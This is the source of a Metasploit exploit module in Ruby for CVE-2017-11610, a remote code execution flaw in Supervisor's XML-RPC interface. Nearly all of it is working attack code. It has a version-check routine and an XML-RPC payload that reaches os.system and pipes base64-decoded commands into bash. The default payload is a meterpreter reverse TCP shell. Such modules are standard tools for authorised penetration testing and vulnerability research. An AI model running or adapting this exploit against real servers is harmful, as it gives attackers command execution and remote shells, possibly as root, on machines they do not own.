170 lines
5.9 KiB
Ruby
170 lines
5.9 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::CmdStager
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "Supervisor XML-RPC Authenticated Remote Code Execution",
|
|
'Description' => %q{
|
|
This module exploits a vulnerability in the Supervisor process control software, where an authenticated client
|
|
can send a malicious XML-RPC request to supervisord that will run arbitrary shell commands on the server.
|
|
The commands will be run as the same user as supervisord. Depending on how supervisord has been configured, this
|
|
may be root. This vulnerability can only be exploited by an authenticated client, or if supervisord has been
|
|
configured to run an HTTP server without authentication. This vulnerability affects versions 3.0a1 to 3.3.2.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Calum Hutton <c.e.hutton@gmx.com>'
|
|
],
|
|
'References' =>
|
|
[
|
|
['URL', 'https://github.com/Supervisor/supervisor/issues/964'],
|
|
['URL', 'https://www.debian.org/security/2017/dsa-3942'],
|
|
['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11610'],
|
|
['URL', 'https://github.com/phith0n/vulhub/tree/master/supervisor/CVE-2017-11610'],
|
|
['CVE', '2017-11610']
|
|
],
|
|
'Platform' => 'linux',
|
|
'Targets' =>
|
|
[
|
|
['3.0a1-3.3.2', {}]
|
|
],
|
|
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
|
'DefaultOptions' =>
|
|
{
|
|
'RPORT' => 9001,
|
|
'Payload' => 'linux/x64/meterpreter/reverse_tcp',
|
|
},
|
|
'Privileged' => false,
|
|
'DisclosureDate' => 'Jul 19 2017',
|
|
'DefaultTarget' => 0
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(9001),
|
|
OptString.new('HttpUsername', [false, 'Username for HTTP basic auth']),
|
|
OptString.new('HttpPassword', [false, 'Password for HTTP basic auth']),
|
|
OptString.new('TARGETURI', [true, 'The path to the XML-RPC endpoint', '/RPC2']),
|
|
]
|
|
)
|
|
end
|
|
|
|
def check_version(version)
|
|
if version <= Gem::Version.new('3.3.2') and version >= Gem::Version.new('3.0a1')
|
|
return true
|
|
else
|
|
return false
|
|
end
|
|
end
|
|
|
|
def check
|
|
|
|
print_status('Extracting version from web interface..')
|
|
|
|
params = {
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri('/')
|
|
}
|
|
if !datastore['HttpUsername'].to_s.empty? and !datastore['HttpPassword'].to_s.empty?
|
|
print_status("Using basic auth (#{datastore['HttpUsername']}:#{datastore['HttpPassword']})")
|
|
params.merge!({'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])})
|
|
end
|
|
res = send_request_cgi(params)
|
|
|
|
if res
|
|
if res.code == 200
|
|
match = res.body.match(/<span>(\d+\.[\dab]\.\d+)<\/span>/)
|
|
if match
|
|
version = Gem::Version.new(match[1])
|
|
if check_version(version)
|
|
print_good("Vulnerable version found: #{version}")
|
|
return Exploit::CheckCode::Appears
|
|
else
|
|
print_bad("Version #{version} is not vulnerable")
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
else
|
|
print_bad('Could not extract version number from web interface')
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
elsif res.code == 401
|
|
print_bad("Authentication failed: #{res.code} response")
|
|
return Exploit::CheckCode::Safe
|
|
else
|
|
print_bad("Unexpected HTTP code: #{res.code} response")
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
else
|
|
print_bad('Error connecting to web interface')
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
|
|
end
|
|
|
|
def execute_command(cmd, opts = {})
|
|
|
|
# XML-RPC payload template, use nohup and & to detach and background the process so it doesnt hangup the web server
|
|
# Credit to the following urls for the os.system() payload
|
|
# https://github.com/phith0n/vulhub/tree/master/supervisor/CVE-2017-11610
|
|
# https://www.leavesongs.com/PENETRATION/supervisord-RCE-CVE-2017-11610.html
|
|
xml_payload = %{<?xml version="1.0"?>
|
|
<methodCall>
|
|
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
|
|
<params>
|
|
<param>
|
|
<string>echo -n #{Rex::Text.encode_base64(cmd)}|base64 -d|nohup bash > /dev/null 2>&1 &</string>
|
|
</param>
|
|
</params>
|
|
</methodCall>}
|
|
|
|
# Send the XML-RPC payload via POST to the specified endpoint
|
|
endpoint_path = target_uri.path
|
|
print_status("Sending XML-RPC payload via POST to #{peer}#{datastore['TARGETURI']}")
|
|
|
|
params = {
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(endpoint_path),
|
|
'ctype' => 'text/xml',
|
|
'headers' => {'Accept' => 'text/xml'},
|
|
'data' => xml_payload,
|
|
'encode_params' => false
|
|
}
|
|
if !datastore['HttpUsername'].to_s.empty? and !datastore['HttpPassword'].to_s.empty?
|
|
print_status("Using basic auth (#{datastore['HttpUsername']}:#{datastore['HttpPassword']})")
|
|
params.merge!({'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])})
|
|
end
|
|
return send_request_cgi(params, timeout=5)
|
|
|
|
end
|
|
|
|
def exploit
|
|
|
|
res = execute_cmdstager(:linemax => 800)
|
|
|
|
if res
|
|
if res.code == 401
|
|
fail_with(Failure::NoAccess, "Authentication failed: #{res.code} response")
|
|
elsif res.code == 404
|
|
fail_with(Failure::NotFound, "Invalid XML-RPC endpoint: #{res.code} response")
|
|
else
|
|
fail_with(Failure::UnexpectedReply, "Unexpected HTTP code: #{res.code} response")
|
|
end
|
|
else
|
|
print_good('Request returned without status code, usually indicates success. Passing to handler..')
|
|
handler
|
|
end
|
|
|
|
end
|
|
|
|
end
|